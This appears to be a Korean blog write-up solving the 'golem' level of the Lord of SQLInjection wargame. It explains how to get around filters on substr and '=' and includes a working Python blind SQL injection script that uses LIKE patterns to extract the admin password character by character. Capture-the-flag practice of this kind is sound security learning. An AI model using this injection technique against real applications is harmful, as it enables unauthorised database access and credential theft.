문제는 위와 같다. blind sqli 같아 보이지만 substr이 필터링 되고 있고 = 부등호 역시 필터링 되고 있다. 첫 번째 조건에서 id가 admin일 때 쿼리의 참 거짓을 확인할 수 있다. 이점을 이용하자.
admin's pw length
길이는 >, < 관계 연산자를 이용해 추측할 수 있다. 먼저 id가 admin이라는 앞 조건을 걸어준 뒤 비교한다.
위와 같이 legnth(pw) > 7일때는 참을 반환하고 있다. 8을 넣어보자
8을 넣으니 거짓이 됐고 따라서 admin의 길이가 8자리임을 추측할 수 있다.
exploit
import requests
import string
ch = string.digits + string.ascii_letters + string.punctuation
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
mycookie = {"PHPSESSID": "8qigjudq943g0gqna35do5eg1d"}
param = {
"pw": ""
}
query = "a' || id like 'admi%' && pw like '{}{}%'#"
password = ''
for i in range(1, 9):
for c in ch:
param["pw"]= query.format(password, c)
result = requests.get(url, params=param, cookies=mycookie)
if "Hello admin" in result.text:
password += c
print(password)
break
부등호가 필터링 되고 있으므로 like를 이용해서 비교했다. 한 자씩 비교하기 위해 password를 왼쪽에 추가 시키면서 하나씩 비교를 늘려갔다.
clear
'Web Hacking > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] los 10번 skeleton write up (0) | 2024.03.24 |
---|---|
[Lord of SQLInjection] los 9번 vampire write up (0) | 2024.03.24 |
[Lord of SQLInjection] 8번 troll write up (0) | 2024.03.24 |
[Lord of SQLInjection] 7번 orge write up (0) | 2024.03.15 |
[Lord of SQLInjection] 6번 darkelf write up (0) | 2024.03.14 |